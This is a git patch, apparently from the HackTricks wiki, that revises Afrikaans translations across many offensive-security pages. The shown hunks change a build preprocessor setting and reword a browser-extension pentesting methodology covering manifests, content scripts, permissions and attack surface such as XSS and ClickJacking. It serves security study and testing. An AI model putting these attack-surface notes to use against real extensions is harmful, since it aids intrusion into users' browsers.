From 2d86af681d76ec82f9484e02d6ed0ab640ca561d Mon Sep 17 00:00:00 2001
From: Translator
Date: Fri, 3 Jan 2025 03:24:29 +0000
Subject: [PATCH] Translated ['.github/pull_request_template.md',
'src/1911-pentesting-fox
---
.github/pull_request_template.md | 2 +-
book.toml | 1 +
hacktricks-preprocessor.py | 20 +-
.../README.md | 90 ++---
.../browext-clickjacking.md | 6 +-
...rowext-permissions-and-host_permissions.md | 42 +--
.../browext-xss-example.md | 4 +-
src/pentesting-web/cache-deception/README.md | 34 +-
.../cache-deception/cache-poisoning-to-dos.md | 6 +-
.../cache-poisoning-via-url-discrepancies.md | 16 +-
.../README.md | 58 ++--
...ypass-self-+-unsafe-inline-with-iframes.md | 4 +-
.../README.md | 14 +-
src/pentesting-web/deserialization/README.md | 60 ++--
...er-gadgets-expandedwrapper-and-json.net.md | 10 +-
...ialization-objectinputstream-readobject.md | 6 +-
.../exploiting-__viewstate-parameter.md | 28 +-
...ava-dns-deserialization-and-gadgetprobe.md | 8 +-
...va-jsf-viewstate-.faces-deserialization.md | 2 +-
...ava-transformers-to-rutime-exec-payload.md | 12 +-
...g-and-directory-interface-and-log4shell.md | 73 ++--
.../README.md | 64 ++--
.../client-side-prototype-pollution.md | 10 +-
.../express-prototype-pollution-gadgets.md | 6 +-
.../prototype-pollution-to-rce.md | 28 +-
.../php-deserialization-+-autoload-classes.md | 10 +-
.../python-yaml-deserialization.md | 8 +-
.../deserialization/ruby-_json-pollution.md | 1 +
.../deserialization/ruby-class-pollution.md | 10 +-
src/pentesting-web/file-inclusion/README.md | 62 ++--
..._stream_prefer_studio-+-path-disclosure.md | 8 +-
.../lfi2rce-via-eternal-waiting.md | 32 +-
.../lfi2rce-via-nginx-temp-files.md | 2 +-
.../file-inclusion/lfi2rce-via-php-filters.md | 12 +-
.../file-inclusion/lfi2rce-via-phpinfo.md | 4 +-
.../lfi2rce-via-temp-file-uploads.md | 6 +-
.../file-inclusion/phar-deserialization.md | 4 +-
.../via-php_session_upload_progress.md | 6 +-
src/pentesting-web/file-upload/README.md | 64 ++--
.../hacking-with-cookies/README.md | 56 +--
.../cookie-jar-overflow.md | 2 +-
.../hacking-with-cookies/cookie-tossing.md | 16 +-
.../http-connection-request-smuggling.md | 6 +-
.../http-request-smuggling/README.md | 72 ++--
.../http-response-smuggling-desync.md | 68 ++--
src/pentesting-web/iframe-traps.md | 4 +-
src/pentesting-web/ldap-injection.md | 9 +-
src/pentesting-web/login-bypass/README.md | 14 +-
.../login-bypass/sql-login-bypass.md | 2 +-
src/pentesting-web/nosql-injection.md | 4 +-
.../oauth-to-account-takeover.md | 42 +--
src/pentesting-web/orm-injection.md | 16 +-
src/pentesting-web/parameter-pollution.md | 14 +-
.../pocs-and-polygloths-cheatsheet/README.md | 4 +-
.../postmessage-vulnerabilities/README.md | 20 +-
...blocking-main-page-to-steal-postmessage.md | 4 +-
.../bypassing-sop-with-iframes-2.md | 4 +-
.../proxy-waf-protections-bypass.md | 20 +-
src/pentesting-web/race-condition.md | 28 +-
src/pentesting-web/rate-limit-bypass.md | 12 +-
.../registration-vulnerabilities.md | 6 +-
...ular-expression-denial-of-service-redos.md | 4 +-
src/pentesting-web/reset-password.md | 26 +-
src/pentesting-web/saml-attacks/README.md | 32 +-
.../saml-attacks/saml-basics.md | 22 +-
...inclusion-edge-side-inclusion-injection.md | 14 +-
src/pentesting-web/sql-injection/README.md | 52 +--
.../sql-injection/ms-access-sql-injection.md | 30 +-
.../sql-injection/mssql-injection.md | 22 +-
.../sql-injection/mysql-injection/README.md | 10 +-
.../mysql-injection/mysql-ssrf.md | 4 +-
.../sql-injection/oracle-injection.md | 10 +-
.../postgresql-injection/README.md | 6 +-
.../big-binary-files-upload-postgresql.md | 4 +-
...and-ntlm-chanllenge-response-disclosure.md | 2 +-
.../rce-with-postgresql-extensions.md | 18 +-
.../rce-with-postgresql-languages.md | 2 +-
src/pentesting-web/sql-injection/sqlmap.md | 44 +--
.../sql-injection/sqlmap/README.md | 60 ++--
.../sqlmap/second-order-injection-sqlmap.md | 2 +-
.../README.md | 36 +-
.../cloud-ssrf.md | 30 +-
.../url-format-bypass.md | 12 +-
.../README.md | 40 +--
.../el-expression-language.md | 8 +-
.../jinja2-ssti.md | 10 +-
src/pentesting-web/timing-attacks.md | 6 +-
.../unicode-injection/README.md | 4 +-
.../unicode-normalization.md | 8 +-
src/pentesting-web/uuid-insecurities.md | 4 +-
src/pentesting-web/web-tool-wfuzz.md | 2 +-
.../web-vulnerabilities-methodology.md | 18 +-
.../web-vulnerabilities-methodology/README.md | 22 +-
src/pentesting-web/websocket-attacks.md | 20 +-
src/pentesting-web/xpath-injection.md | 12 +-
src/pentesting-web/xs-search.md | 194 +++++------
src/pentesting-web/xs-search/README.md | 322 +++++-------------
.../connection-pool-by-destination-example.md | 2 +-
.../xs-search/connection-pool-example.md | 2 +-
.../xs-search/css-injection/README.md | 40 +--
.../event-loop-blocking-+-lazy-images.md | 4 +-
.../performance.now-+-force-heavy-task.md | 2 +-
...ble-stylesheet-language-transformations.md | 2 +-
.../xss-cross-site-scripting/README.md | 102 +++---
.../abusing-service-workers.md | 10 +-
.../chrome-cache-to-xss.md | 4 +-
.../debugging-client-side-js.md | 8 +-
.../dom-clobbering.md | 26 +-
.../xss-cross-site-scripting/dom-invader.md | 36 +-
.../xss-cross-site-scripting/dom-xss.md | 28 +-
.../iframes-in-xss-and-csp.md | 16 +-
.../other-js-tricks.md | 6 +-
.../server-side-xss-dynamic-pdf.md | 8 +-
.../xss-cross-site-scripting/sniff-leak.md | 2 +-
.../some-same-origin-method-execution.md | 4 +-
.../xssi-cross-site-script-inclusion.md | 4 +-
.../xxe-xee-xml-external-entity.md | 50 +--
.../escaping-from-gui-applications/README.md | 122 +++----
.../firmware-analysis/README.md | 45 +--
.../firmware-analysis/firmware-integrity.md | 2 +-
src/physical-attacks/physical-attacks.md | 12 +-
.../pentesting-ble-bluetooth-low-energy.md | 2 +-
src/radio-hacking/pentesting-rfid.md | 32 +-
.../arbitrary-write-2-exec/aw2exec-got-plt.md | 14 +-
.../aws2exec-.dtors-and-.fini_array.md | 4 +-
.../README.md | 6 +-
.../aslr/README.md | 20 +-
.../aslr/ret2plt.md | 2 +-
.../no-exec-nx.md | 2 +-
.../pie/README.md | 8 +-
.../pie/bypassing-canary-and-pie.md | 16 +-
.../relro.md | 14 +-
.../stack-canaries/README.md | 14 +-
.../bf-forked-stack-canaries.md | 20 +-
.../stack-canaries/print-stack-canary.md | 6 +-
.../common-exploiting-problems.md | 2 +-
.../linux-exploiting-basic-esp/elf-tricks.md | 26 +-
.../format-strings/README.md | 12 +-
.../linux-exploiting-basic-esp/one-gadget.md | 4 +-
.../stack-overflow/README.md | 10 +-
.../stack-overflow/pointer-redirecting.md | 6 +-
.../stack-overflow/ret2csu.md | 12 +-
.../stack-overflow/ret2esp-ret2reg.md | 6 +-
.../stack-overflow/ret2lib/README.md | 10 +-
.../rop-leaking-libc-address/README.md | 26 +-
.../rop-leaking-libc-template.md | 2 +-
.../stack-overflow/ret2ret.md | 2 +-
.../stack-overflow/ret2win.md | 10 +-
.../rop-return-oriented-programing.md | 12 +-
.../stack-overflow/rop-syscall-execv.md | 16 +-
.../srop-sigreturn-oriented-programming.md | 8 +-
.../stack-pivoting-ebp2ret-ebp-chaining.md | 10 +-
.../stack-overflow/stack-shellcode.md | 6 +-
src/reversing/common-api-used-in-malware.md | 20 +-
.../cryptographic-algorithms/README.md | 10 +-
.../unpacking-binaries.md | 8 +-
.../reversing-tools-basic-methods/README.md | 38 +--
.../angr/README.md | 6 +-
.../angr/angr-examples.md | 4 +-
.../cheat-engine.md | 44 +--
.../satisfiability-modulo-theories-smt-z3.md | 2 +-
src/reversing/reversing-tools/README.md | 2 +-
src/reversing/word-macros.md | 4 +-
src/stego/stego-tricks.md | 16 +-
src/todo/android-forensics.md | 8 +-
src/todo/burp-suite.md | 2 +-
src/todo/cookies-policy.md | 8 +-
src/todo/hardware-hacking/README.md | 8 +-
src/todo/hardware-hacking/jtag.md | 2 +-
src/todo/hardware-hacking/radio.md | 22 +-
.../hardware-hacking/side_channel_analysis.md | 4 +-
src/todo/hardware-hacking/spi.md | 12 +-
src/todo/hardware-hacking/uart.md | 22 +-
.../README.md | 2 +-
.../modbus.md | 6 +-
src/todo/interesting-http.md | 2 +-
src/todo/investment-terms.md | 16 +-
.../0.-basic-llm-concepts.md | 20 +-
.../1.-tokenizing.md | 10 +-
.../3.-token-embeddings.md | 4 +-
.../4.-attention-mechanisms.md | 28 +-
.../5.-llm-architecture.md | 22 +-
.../7.0.-lora-improvements-in-fine-tuning.md | 6 +-
...7.2.-fine-tuning-to-follow-instructions.md | 14 +-
.../llm-training-data-preparation/README.md | 12 +-
src/todo/misc.md | 4 +-
src/todo/more-tools.md | 16 +-
src/todo/online-platforms-with-api.md | 10 +-
src/todo/other-web-tricks.md | 8 +-
src/todo/post-exploitation.md | 4 +-
.../radio-hacking/fissure-the-rf-framework.md | 20 +-
.../flipper-zero/fz-125khz-rfid.md | 2 +-
.../radio-hacking/flipper-zero/fz-ibutton.md | 10 +-
.../radio-hacking/flipper-zero/fz-infrared.md | 4 +-
src/todo/radio-hacking/flipper-zero/fz-nfc.md | 6 +-
.../radio-hacking/flipper-zero/fz-sub-ghz.md | 20 +-
src/todo/radio-hacking/ibutton.md | 2 +-
src/todo/radio-hacking/infrared.md | 12 +-
.../low-power-wide-area-network.md | 2 +-
.../pentesting-ble-bluetooth-low-energy.md | 6 +-
src/todo/radio-hacking/pentesting-rfid.md | 16 +-
src/todo/radio-hacking/proxmark-3.md | 8 +-
src/todo/radio-hacking/sub-ghz-rf.md | 8 +-
src/todo/rust-basics.md | 2 +-
...itive-information-disclosure-from-a-web.md | 2 +-
src/todo/test-llms.md | 18 +-
src/welcome/about-the-author.md | 2 +-
src/welcome/hacktricks-values-and-faq.md | 34 +-
.../active-directory-methodology/README.md | 118 +++----
.../abusing-ad-mssql.md | 10 +-
.../acl-persistence-abuse/README.md | 36 +-
.../shadow-credentials.md | 26 +-
.../ad-certificates.md | 16 +-
.../ad-certificates/README.md | 36 +-
.../ad-certificates/account-persistence.md | 8 +-
.../ad-certificates/certificate-theft.md | 32 +-
.../ad-certificates/domain-escalation.md | 71 ++--
.../ad-certificates/domain-persistence.md | 10 +-
.../ad-dns-records.md | 4 +-
.../ad-information-in-printers.md | 6 +-
.../asreproast.md | 6 +-
.../bloodhound.md | 12 +-
.../constrained-delegation.md | 8 +-
.../custom-ssp.md | 4 +-
.../active-directory-methodology/dcshadow.md | 10 +-
.../active-directory-methodology/dcsync.md | 2 +-
.../diamond-ticket.md | 2 +-
...external-forest-domain-one-way-outbound.md | 22 +-
.../external-forest-domain-oneway-inbound.md | 8 +-
.../golden-ticket.md | 6 +-
.../kerberoast.md | 22 +-
.../kerberos-double-hop-problem.md | 16 +-
.../active-directory-methodology/laps.md | 18 +-
.../over-pass-the-hash-pass-the-key.md | 4 +-
.../pass-the-ticket.md | 2 +-
.../password-spraying.md | 10 +-
.../printers-spooler-service-abuse.md | 18 +-
.../privileged-groups-and-token-privileges.md | 38 +--
.../rdp-sessions-abuse.md | 2 +-
.../resource-based-constrained-delegation.md | 11 +-
.../security-descriptors.md | 6 +-
.../sid-history-injection.md | 24 +-
.../silver-ticket.md | 14 +-
.../skeleton-key.md | 2 +-
.../unconstrained-delegation.md | 2 +-
.../authentication-credentials-uac-and-efs.md | 22 +-
.../README.md | 22 +-
.../uac-user-account-control.md | 46 +--
src/windows-hardening/av-bypass.md | 63 ++--
.../basic-cmd-for-pentesters.md | 10 +-
.../basic-powershell-for-pentesters/README.md | 14 +-
.../powerview.md | 2 +-
.../checklist-windows-privilege-escalation.md | 8 +-
src/windows-hardening/cobalt-strike.md | 20 +-
.../lateral-movement/atexec.md | 2 +-
.../lateral-movement/dcom-exec.md | 10 +-
.../lateral-movement/psexec-and-winexec.md | 2 +-
.../lateral-movement/smbexec.md | 10 +-
.../lateral-movement/wmiexec.md | 6 +-
src/windows-hardening/ntlm/README.md | 30 +-
src/windows-hardening/ntlm/atexec.md | 2 +-
.../ntlm/psexec-and-winexec.md | 4 +-
src/windows-hardening/ntlm/smbexec.md | 4 +-
src/windows-hardening/ntlm/wmiexec.md | 14 +-
.../stealing-credentials/README.md | 32 +-
.../credentials-mimikatz.md | 20 +-
.../credentials-protections.md | 34 +-
.../stealing-credentials/wts-impersonator.md | 8 +-
.../README.md | 142 ++++----
.../access-tokens.md | 10 +-
.../acls-dacls-sacls-aces.md | 28 +-
...ectory-permission-over-service-registry.md | 4 +-
.../com-hijacking.md | 6 +-
.../create-msi-with-wix.md | 4 +-
.../dll-hijacking.md | 50 +--
.../dll-hijacking/README.md | 72 ++--
...ritable-sys-path-+dll-hijacking-privesc.md | 16 +-
.../dpapi-extracting-passwords.md | 12 +-
...igh-integrity-to-system-with-name-pipes.md | 4 +-
.../integrity-levels.md | 4 +-
.../juicypotato.md | 10 +-
.../leaked-handle-exploitation.md | 8 +-
.../msi-wrapper.md | 6 +-
.../named-pipe-client-impersonation.md | 4 +-
.../privilege-escalation-abusing-tokens.md | 10 +-
.../README.md | 32 +-
...vilege-escalation-with-autorun-binaries.md | 16 +-
.../sedebug-+-seimpersonate-copy-token.md | 7 +-
.../seimpersonate-from-high-to-system.md | 14 +-
.../uac-user-account-control.md | 36 +-
theme/book.js | 55 +++
theme/css/chrome.css | 52 ++-
theme/index.hbs | 78 +++--
theme/sponsor.js | 2 -
294 files changed, 2757 insertions(+), 2797 deletions(-)
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
index dc91282b5..5efafe92c 100644
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -1,4 +1,4 @@
## Toeskryfing
Ons waardeer jou kennis en moedig jou aan om inhoud te deel. Maak asseblief seker dat jy slegs inhoud oplaai wat jy besit of waarvoor jy toestemming het om dit van die oorspronklike outeur te deel (voeg 'n verwysing na die outeur in die bygevoegde teks of aan die einde van die bladsy wat jy wysig of albei). Jou respek vir intellektuele eiendomsregte bevorder 'n betroubare en wettige deelomgewing vir almal.
-Dankie dat jy by HackTricks bydra!
+Dankie dat jy bydra tot HackTricks!
diff --git a/book.toml b/book.toml
index 55f8eeb4f..3d588387c 100644
--- a/book.toml
+++ b/book.toml
@@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 37f549101..fedfdef99 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
- # pass
- try:
- raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
- match = re.search('(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index f98b255bf..4fc3c9161 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -4,7 +4,7 @@
## Basiese Inligting
-Bladsy uitbreidings is in JavaScript geskryf en word deur die blaier in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel.
+Bladsy uitbreidings is in JavaScript geskryf en word deur die blaaskas in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan benadeel.
## Hoofkomponente
@@ -22,7 +22,7 @@ Die uitbreiding se kern bevat die meeste van die uitbreiding se voorregte/toegan
### **Inheemse Binêre**
-Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaier-inproppe gebruik word.
+Die uitbreiding laat 'n inheemse binêre toe wat **toegang tot die gasheer masjien met die gebruiker se volle voorregte kan hê.** Die inheemse binêre interaksie met die uitbreiding se kern deur die standaard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) wat deur Flash en ander blaaskas plug-ins gebruik word.
### Grense
@@ -35,7 +35,7 @@ Boonop skei inhoud skripte van hul geassosieerde webbladsye deur **in 'n afsonde
## **`manifest.json`**
-'n Chrome uitbreiding is net 'n ZIP-gids met 'n [.crx lêer uitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die gids, wat uitleg, toestemmings en ander konfigurasie opsies spesifiseer.
+'n Chrome uitbreiding is net 'n ZIP vouer met 'n [.crx lêer uitbreiding](https://www.lifewire.com/crx-file-2620391). Die uitbreiding se kern is die **`manifest.json`** lêer in die wortel van die vouer, wat uitleg, toestemmings en ander konfigurasie opsies spesifiseer.
Voorbeeld:
```json
@@ -91,24 +91,24 @@ document.body.appendChild(div)
```
-'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die inhoudskrip se beperking in direkte toegang tot API's, met `storage` wat onder die min uitsonderings val. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer.
+'n Boodskap word na die uitbreiding bladsye gestuur deur die inhoudskrip wanneer hierdie knoppie geklik word, deur die gebruik van die [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Dit is as gevolg van die inhoudskrip se beperking in direkte toegang tot API's, met `storage` wat een van die min uitsonderings is. Vir funksies buite hierdie uitsonderings, word boodskappe na uitbreiding bladsye gestuur waarmee inhoudskripte kan kommunikeer.
> [!WARNING]
> Afhangende van die blaaier, kan die vermoëns van die inhoudskrip effens verskil. Vir Chromium-gebaseerde blaaiers is die vermoënslys beskikbaar in die [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), en vir Firefox dien die [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) as die primêre bron.\
> Dit is ook noemenswaardig dat inhoudskripte die vermoë het om met agtergrondskripte te kommunikeer, wat hulle in staat stel om aksies uit te voer en antwoorde terug te stuur.
-Vir die sien en debugg van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap bereik word OF deur Ctrl + Shift + I te druk.
+Vir die sien en debugg van inhoudskripte in Chrome, kan die Chrome ontwikkelaar gereedskapmenu verkry word vanaf Opsies > Meer gereedskap > Ontwikkelaar gereedskap OF deur Ctrl + Shift + I te druk.
-Sodra die ontwikkelaar gereedskap vertoon word, moet die **Source tab** geklik word, gevolg deur die **Content Scripts** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
+Sodra die ontwikkelaar gereedskap vertoon word, moet die **Bron tab** geklik word, gevolg deur die **Inhoud Skripte** tab. Dit stel die waarneming van lopende inhoudskripte van verskeie uitbreidings en die instelling van breekpunte om die uitvoeringsvloei te volg, moontlik.
### Ingevoegde inhoudskripte
> [!TIP]
-> Let daarop dat **Inhoudskripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties in te voeg** in webbladsye via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
+> Let daarop dat **Inhoud Skripte nie verpligtend is nie** aangesien dit ook moontlik is om **dynamies** **skripte in te voeg** en om **programmaties in te voeg** in webblaaie via **`tabs.executeScript`**. Dit bied eintlik meer **fynbeheer**.
Vir die programmatiese invoeging van 'n inhoudskrip, moet die uitbreiding [gashere toestemming](https://developer.chrome.com/docs/extensions/reference/permissions) hê vir die bladsy waarin die skripte ingevoeg moet word. Hierdie toestemmings kan verkry word deur **hulle aan te vra** binne die manifest van die uitbreiding of op 'n tydelike basis deur [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
-#### Voorbeeld van 'n activeTab-gebaseerde uitbreiding
+#### Voorbeeld activeTab-gebaseerde uitbreiding
```json:manifest.json
{
"name": "My extension",
@@ -208,16 +208,16 @@ js: ["contentScript.js"],
```
### `background`
-Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur voortduur, wat diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandsbestuur moontlik maak.
+Boodskappe wat deur inhoudscripts gestuur word, word deur die **agtergrondbladsy** ontvang, wat 'n sentrale rol speel in die koördinering van die uitbreiding se komponente. Opmerklik is dat die agtergrondbladsy oor die uitbreiding se lewensduur voortduur, wat diskreet werk sonder direkte gebruikersinteraksie. Dit het sy eie Dokumentobjekmodel (DOM), wat komplekse interaksies en toestandbestuur moontlik maak.
**Belangrike Punten**:
- **Agtergrondbladsy Rol:** Dien as die senuweesentrum vir die uitbreiding, wat kommunikasie en koördinering tussen verskillende dele van die uitbreiding verseker.
- **Volharding:** Dit is 'n altyd teenwoordige entiteit, onsigbaar vir die gebruiker maar integraal tot die uitbreiding se funksionaliteit.
-- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaier outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
+- **Outomatiese Generasie:** As dit nie eksplisiet gedefinieer is nie, sal die blaaiers outomaties 'n agtergrondbladsy skep. Hierdie outomaties gegenereerde bladsy sal al die agtergrondskripte insluit wat in die uitbreiding se manifest gespesifiseer is, wat die naatlose werking van die uitbreiding se agtergrondtake verseker.
> [!TIP]
-> Die gerief wat deur die blaaier verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn.
+> Die gerief wat deur die blaaiers verskaf word om outomaties 'n agtergrondbladsy te genereer (wanneer dit nie eksplisiet verklaar is nie) verseker dat al die nodige agtergrondskripte geïntegreer en operasioneel is, wat die uitbreiding se opstellingsproses stroomlyn.
Voorbeeld agtergrondskrip:
```js
@@ -229,7 +229,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
```
Dit gebruik die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) om na boodskappe te luister. Wanneer 'n `"explain"` boodskap ontvang word, gebruik dit die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) om 'n bladsy in 'n nuwe tab te open.
-Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap met die agtergrondskrip oopmaak:
+Om die agtergrondskrip te debug, kan jy na die **uitbreiding besonderhede gaan en die dienswerker inspekteer,** dit sal die ontwikkelaar gereedskap oopmaak met die agtergrondskrip:
@@ -250,7 +250,7 @@ Let daarop dat hierdie bladsye nie volhoubaar is soos agtergrond bladsye nie, aa
### `permissions` & `host_permissions`
-**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (stoor, ligging...) en in **watter web bladsye**.
+**`permissions`** en **`host_permissions`** is inskrywings uit die `manifest.json` wat sal aandui **watter toestemmings** die blaaier uitbreidings het (berging, ligging...) en in **watter web bladsye**.
Aangesien blaaier uitbreidings so **bevoorreg** kan wees, kan 'n kwaadwillige een of een wat gecompromitteer is die aanvaller **verskillende middele bied om sensitiewe inligting te steel en die gebruiker te spioeneer**.
@@ -307,14 +307,14 @@ Alhoewel, as die `manifest.json` parameter **`use_dynamic_url`** gebruik word, k
> [!TIP]
> Let daarop dat selfs al word 'n bladsy hier genoem, dit mag **teen ClickJacking beskerm wees** danksy die **Content Security Policy**. So jy moet dit ook nagaan (frame-ancestors afdeling) voordat jy bevestig dat 'n ClickJacking-aanval moontlik is.
-Toegelaat om toegang tot hierdie bladsye te hê, maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**:
+Toegelaat om toegang tot hierdie bladsye te hê maak hierdie bladsye **potensieel kwesbaar vir ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
-> Om te verhoed dat hierdie bladsye slegs deur die uitbreiding gelaai word en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom.
+> Om hierdie bladsye slegs deur die uitbreiding te laat laai en nie deur ewekansige URL's nie, kan ClickJacking-aanvalle voorkom.
> [!CAUTION]
> Let daarop dat die bladsye van **`web_accessible_resources`** en ander bladsye van die uitbreiding ook in staat is om **agtergrondskripte te kontak**. So as een van hierdie bladsye kwesbaar is vir **XSS**, kan dit 'n groter kwesbaarheid oopmaak.
@@ -325,8 +325,8 @@ browext-clickjacking.md
Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), verklaar die `"externally_connectable"` manifest eienskap **watter uitbreidings en web bladsye kan verbind** met jou uitbreiding via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) en [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
-- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is nie of dit verklaar is as **`"ids": ["*"]`**, kan **alle uitbreidings verbind, maar geen web bladsye kan verbind**.
-- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, kan **slegs daardie toepassings** verbind.
+- As die **`externally_connectable`** sleutel **nie** in jou uitbreiding se manifest verklaar is of dit verklaar is as **`"ids": ["*"]`**, **kan alle uitbreidings verbind, maar geen web bladsye kan verbind**.
+- As **spesifieke ID's gespesifiseer is**, soos in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **kan slegs daardie toepassings** verbind.
- As **ooreenkomste** gespesifiseer is, sal daardie webtoepassings in staat wees om te verbind:
```json
"matches": [
@@ -338,7 +338,7 @@ Volgens die [**docs**](https://developer.chrome.com/docs/extensions/reference/ma
Die **minder uitbreidings en URL's** wat hier aangedui word, hoe **kleiner die aanvaloppervlak** sal wees.
> [!CAUTION]
-> As 'n webblad **kwulnerabel is vir XSS of oorneem** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil.
+> As 'n webblad **kwulnerabel is vir XSS of oorname** en in **`externally_connectable`** aangedui word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskrip te stuur**, wat die Inhoudskrip en sy CSP heeltemal omseil.
>
> Daarom is dit 'n **baie kragtige omseiling**.
>
@@ -354,7 +354,7 @@ Om te kommunikeer tussen die inhoudskrip en die webblad, word posboodskappe gewo
Gewoonlik word die funksie **`chrome.runtime.sendMessage`** gebruik om 'n boodskap binne die uitbreiding te stuur (gewoonlik hanteer deur die `background` skrip) en om dit te ontvang en te hanteer, word 'n luisteraar verklaar wat **`chrome.runtime.onMessage.addListener`** aanroep.
-Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur, dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
+Dit is ook moontlik om **`chrome.runtime.connect()`** te gebruik om 'n volgehoue verbinding te hê in plaas van om enkele boodskappe te stuur; dit is moontlik om dit te gebruik om **boodskappe** te **stuur** en **te ontvang** soos in die volgende voorbeeld:
